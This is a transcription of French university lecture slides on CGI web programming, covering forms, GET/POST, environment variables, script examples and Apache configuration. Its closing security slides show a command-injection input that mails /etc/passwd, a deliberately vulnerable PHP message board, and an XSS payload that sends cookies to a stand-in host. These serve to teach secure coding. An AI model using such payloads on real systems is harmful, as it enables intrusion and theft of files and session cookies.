Programmation WEB - IUT de Sénart/Fontainebleau
Transcription
Programmation WEB - IUT de Sénart/Fontainebleau
Introduction Programmation CGI Langage Configuration Apache Programmation WEB Scripts CGI Programmation licence IUT de Fontainebleau 14 février 2014 Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache 1 Introduction Rappels formulaires GET/POST 2 Programmation CGI Principe Exemples Mise en oeuvre 3 Langage 4 Configuration Apache Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Une application Web est une applications clients/serveur(s) On peut la voir en trois couches ... Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Back-End SGBD Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Back-End SGBD Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Back-End SGBD Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Structure Présentation Back-End SGBD Programmation licence Programmation WEB Applicatif Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Présentation Back-End SGBD Programmation licence Programmation WEB Applicatif Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Back-End SGBD Programmation licence Programmation WEB Applicatif Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Front-End Back-End SGBD Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Introduction CGI au niveau du Backend : I Common Gateway Interface (CGI) est un standard pour interfacer des applications externes avec un serveur WEB. I Un document HTML servit par le daemon Web est statique, ie il existe dans un état constant, un fichier texte qui ne change pas (pas tout à fait vrai avec les SSI). I En revanche, un programme CGI est exécuté et il peut recevoir et/ou renvoyer de l’information dynamiquement au serveur web. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Formulaire HTML I I Balise <form> et </form>. Eléments de formualaire : input : saisie Elément input text password checkbox radio submit reset button hidden zone de texte zone de texte caché cases à cocher un seul selectionnable bouton de soumission de formulaire bouton de remise à zéro des champs bouton associé à du javascript bouton caché select : listes à ascenseurs. textarea : zone de saisie d’un texte. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Attributs de form I method : valeur get ou post qui indique la façon dont les données sont transmises au script CGI. I action : URL du programme CGI qui sera exécuté à la soumission du formulaire. I name : nom du formulaire. target : cible dans laquelle la réponse du programme CGI sera affichée. I I enctype : spécifie l’encodage utilisé pour l’envoie des données du formulaire dans le cas de la méthode post (dans le corps de la requête) : Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Valeur possible pour enctype. I application/x-www-form-urlencoded : (valeur par défaut) url-encode le contenu du formulaire de la même façon que la méthode GET I text/plain : le contenu du formulaire est envoyé en format lisible par le destinataire multipart/form-data : permet d’expédier un fichier attaché dnas le corps de la requête (<input type="file">) I Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST La méthode GET I La méthode standard de requête d’un document : récupérer un fichier, une image, ... activer un script CGI en lui transmettant des données. I Le corps de la requête est toujours ... vide. I Le serveur répond avec une ligne décrivant l’état de la requête, un entête et le contenu de la réponse. I En cas d’échec, le contenu de la réponse décrit sa raison (permission, fichier absent, etc ...) I Les données du formulaire sont transmises dans l’URL, après un ?, séparées par un &. GET /cgi-bin/prog.cgi?login=denis&pass=toto HTTP/1.1 I L’URL a une taille limitée à 4ko. I Encodage : application/x-www-form-urlencoded Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST La méthode POST I Elle permet de transmettre des données au serveur dans le corps de la requête. I Exemple Exemple <html> <body> <form action="http://localhost/~denis/http.php" method="post"> Nom : <input type="text" name="nom"> Prenom : <input type="text" name="prenom"> Email : <input type="text" name="email"> <input type="submit" name="accepter" value="OK"> </form> </body> </html> Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Programmation licence Rappels formulaires GET/POST Programmation WEB Introduction Programmation CGI Langage Configuration Apache Rappels formulaires GET/POST Notez bien l’encodage. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Common gateway Interface I Interface de base qui définit la communication entre le serveur HTTP et un programme applicatif. I CGI spécifie comment des clients peuvent communiquer avec des programmes qui s’exécutent sur le serveur WEB, et qui générent des pages HTML dynamiques créées à la volée à partir du résultat des exécutions. La comunication entre le daemon http et un programme cgi se fait par l’intermédiaire : I des variables d’environnement de l’entrée standard I Le résultat de l’exécution du CGI est faite sur sa sortie standard, que le daemon http récupére. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Programme CGI ? avant tout un programme : I exécution sur la machine hôte du serveur HTTP. I en langage compilé (binaire) ou interprété. I qui permet de : récupérer les données du formulaire à l’aide d’un parser : pour chaque champs, un couple (NAME/VALUE) est transmis au serveur. effectuer des traitements sur le serveur. lecture/écriture dans un base de données. stockage d’une info (compteurs, identitifant de connexion, ...) recherche d’informations. générer un résultat qui est renvoyé au client. page HTML, image, document, etc.... Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Partie statique Navigateur client Affichage formulaire Recherche de la page sur le disque Demande formulaire Envoie du formulaire daemon http remplissage du formulaire Saisie invalide Soumission (JS) Saisie valide Formulaire OK Programmation licence Programmation WEB DD Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Partie dynamique Formulaire OK Envoie données daemon http Transmission données et lancement CGI Exécution du script CGI CGI Envoie du résultat HTML daemon http Réponse en HTML au serveur HTTP Affichage réponse Programmation licence Programmation WEB SGBD Requêtes au SGBD Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Avantages/Incovénients I Puissant mais dangereux. I Le CGI doit s’exécuter rapidement permet d’excuter tout et n’inporte quoi par le daemon HTTP. risque de surcharge du serveur. utilisateur impatient. possibilité d’envoyer ds le début de l’exécution une page qui permet d’indiquer à l’utilisateur que le résultat arrive. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Un exemple #!/bin/bash echo "Content-type: text/html;" echo "" echo "<!doctype html>" echo "<html><head><meta charset=’utf8’></head>" echo "<body>" export LC_ALL=fr_FR.utf-8 date=‘date +"%A %d %B %Y"‘ echo "<p> Nous sommes le <b>$date</b></p>" echo "</body></html>" Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre ce programme CGI n’utilise aucune donnée en provenance du client. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre GET/POST I Méthode GET : données relatives aux champs du formulaire transmises via l’url. le programme cgi les récupéree dans la variable d’environnement QUERY_STRING. I Méthode POST : données relatives aux champs du formulaire sont transmises dans le corps de la requête HTTP. Les variables d’environnements Content-Type et Content-Length sont positionnés. le programme récupère les données sur son entrée standard. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Format URL encodé I Nécessité de coder les données de l’URL (méthode GET) et du corps (méthode POST) sur le client pour construire la chaîne CGI pour respecteur la rfc ? ? qui spécifie la syntaxe des URL. I Les caractères non alphanumériques sont remplacés par %xx, ( xx est le code ascii du caractère en hexadécimal) Les caractères ; / ? : @ & = + $ , sont reservés : I ? : début de QUERY_STRING. & : séparateur de champs. = : séparation entre le champ et sa valeur. I Les espaces sont remplacés par des +. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Format URL encodé I format de la chaîne CGI champ1=valeur1&champ2=valeur2&... I cas des champs à valeurs multiples I nom_liste=valeur1&nom_liste=valeur2&... La chaîne CGI est : construite par le client au format URL encodé quand la requête est postée. transmise au CGI tel quel via la variable QUERY_STRING dans le cas GET. transmise au CGI tel quel via l’entrée standard avec le cas POST. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Format de sortie d’un CGI I Entête, ligne vide et corps : Réponse http d’un cgi Content-type : type/subtype type MIME du corps Window-target : frame fenêtre de réception du résultat Location : url redirection vers une autre URL Status : code msg code de la réponse HTTP ligne vide <html> . . . </html> I Location doit être utilisé seul : redirection au client. I En-tête minimale : Content-type. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre No parsed headers (NPH) CGI I I En principe, le serveur HTTP ne construit l’en-tête (HTTP) finale de la réponse que lorsque l’exécution du CGI est terminé (en particulier pour générer Content-Length) certains scripts peuvent vouloir générer eux-même toute la réponse HTTP (y compris le code de retour) Le serveur HTTP n’anlyse plus les en-têtes générés par le CGI. permet d’envoyer une partie du résultat avant la fin d’exécution du CGI. le nom de ces scripts doivent être préfixés par nph-. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre nph CGI : exemple #!/bin/sh echo "HTTP/1.0 OK Server: localhost Content-Type: text/html <HEAD> <TITLE>un test ...</TITLE> </HEAD> <BODY> <H1>Sortie d’un script nph</H1> il semble que c’est OK ! </BODY>" Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Variables d’environnements Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc ...) Variables d’environnements SERVER_SOFTWARE (nom/version) SERVER_NAME (nom) GATEWAY_INTERFACE (CGI/version) SERVER_PROTOCOL (protocle/version) SERVER_PORT (port) REQUEST_METHOD (methode) SCRIPT_NAME (nom) REMOTE_HOST (nom) nom et version du daemon HTTP nom ou adresse IP du serveur version des spécifications CGI utilisées par le serveur protocole et version de la requête en cours de traitement numéro du port TCP vers lequel la requête a été envoyée méthode associée à la requête chemin du CGI depuis la racine du serveur nom de la machine d’où vient la requête Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Variables d’environnements Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc ...) Variables d’environnements REMOTE_ADDR (adresse ip) AUTH_TYPE (authentification) REMOTE_USER (login) REMOTE_IDENT (login_os) CONTENT_TYPE (type/subtype) CONTENT_LENGTH (longeur en hexa) adresse ip de la machine d’où vient la requête méthode d’authentification de l’utilisateur s’il y a lieu si authentification, login de l’utilisateur associé à la requête type MIME des données dans la requête longueur des données de la requête POST Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Variables d’environnements Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc ...) Variables d’environnements PATH_INFO (path) QUERY_STRING (champ1=val1&...) HTTP_XXX (champ entête HTTP) chaîne entre SCRIPT_PATH QUERY_STRING dans l’URL données transmises au CGI par GET et variable pour chaque champ contenu dans l’entête HTTP (HTTP_ACCEPT,HTTP_USER_AGENT,...) Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Principe Exemples Mise en oeuvre Exemple en perl #!/usr/bin/perl ## ## printenv -- demo CGI program which just prints ## its environment ## print "Content-type: text/plain; charset=iso-8859-1\n\n"; foreach $var (sort(keys(%ENV))) { $val = $ENV{$var}; $val =~ s|\n|\\n|g; $val =~ s|"|\\"|g; print "${var}=\"${val}\"\n"; } Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Programmation licence Principe Exemples Mise en oeuvre Programmation WEB Introduction Programmation CGI Langage Configuration Apache Quel langage utiliser ? I Peut importe, pourvu que : le programme soit exécutable sur le serveur. le programme puisse lire les variables d’environnement et/ou l’entrée standard. le programme puisse écrire sur sa sortie standard. I Les plus utilisés : Perl et shell PHP (mixe entre Perl et C). Langage C : compilé, et bien intégré au système compilé, les sources ne sont pas accessibles. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Quel Langage utiliser ? I Accès aux variables d’environnemt : en C : Dans stdlib.h, getenv("nom"). Variable globale environ. fonction main int main(int n,char *arg[],char *env[]). en shell : $nom. en perl, $ENV{’nom’}. en PHP, $_SERVER[’nom’]. I Entrées/Sorties. En C : dans stdio.h printf("...",...) et scanf("...",...) en shell : echo "..." et read var en Perl : read(STDIN,$stuff $ENV{‘CONTENT_LENGTH’}) Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Parser les données du formulaire I Il faut récupérer les couples nom/valeur dans le cgi. I Il s’agit essentiellement de traitement de chaînes de caractères. Uitliser des bibliothèques existantes (cf tp) : I module cgi en perl, ou bibliothèque cgi-lib.pl http://cgi-lib.berkeley.edu/, etc ... En C, libcgi http://libcgi.sourceforge.net/ PHP, rien à faire, déjà parser dans les tableaux _POST, _GET ou _REQUEST. Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Configuration du serveur Apache I le serveur doit savoir quelles requêtes doivent être traitées comme des CGI pour : passer les paramètres au programme cgi. l’exécuter. récupérer sa sortie standard pour construire la réponse HTTP. I Répertoire de cgi : directive ScriptAlias ou ScriptAliasMatch (utilisation d’expression régulière) ScriptAlias /cgi-bin/ /var/www/localhost/cgi-bin/ toutes les requêtes du type http://localhost/cgi-bin/* seront traitées comme des CGI avec exécution de /var/www/localhost/cgi-bin/* Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Configuration du serveur Apache I des cgi dans des repertoires : directive AddHandler # AddHandler allows you to map certain file extensions to "handlers": # actions unrelated to filetype. These can be either built into the server # or added with the Action directive (see below) # # To use CGI scripts outside of ScriptAliased directories: # (You will also need to add "ExecCGI" to the "Options" directive.) # AddHandler cgi-script .cgi .pl .sh I il faut autoriser les exécutions de CGI dans les répertoires qui peuvent contenir des .cgi, des .pl ou des .sh. <Directory /home/*/public_html> options +ExecCGI </Directory> I C’est le daemon http (user apache ou www) qui exécute le script cgi. Vérifier les droits d’exécution ! Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Sécurtité Afin de limiter les trous de sécurités : I Limiter le nombre de personnes autorisées à créer des CGI sur le serveur. I Vérifier dans le CGI que l’exécutant est bien le daemon httpd. I Ne pas lancer le daemon httpd en tant que root. I Eviter les CGI ayant positionné le bit setuid. I Eviter l’emploide commandes qui lancent des sous-processus (system, exec, ...) I Restreindre les accès. I Consulter la page dédié sur w3 http://www.w3.org/Security/Faq/wwwsf4.html Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Un exemple Il ne faut jamais envoyer directement une chaîne entrée par l’utilisateur vers un shell, ou une commande. I Un formulaire qui demande une adresse mail associé à un cgi qui envoie un mail à l’adresse indiquée par echo " ... " | mail $champ_mail I Attention aux saisies du genre : personnenullepart.fr;mail moichezmoi < / etc / passwd Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache Un autre exemple En php, un fichier est utilisé pour stocké des messages. <form> <input type="text" name="message"><br /> <input type="submit"> </form> <?php if (isset($_GET[’message’])) { $fp = fopen(’./messages.txt’, ’a’); fwrite($fp, "{$_GET[’message’]}<br />"); fclose($fp); } readfile(’./messages.txt’); ?> Programmation licence Programmation WEB Introduction Programmation CGI Langage Configuration Apache et la saisie suivante : <script> document.location = ’http://chez.moi/cookies.php?cookies=’ + document.cookie </script> Programmation licence Programmation WEB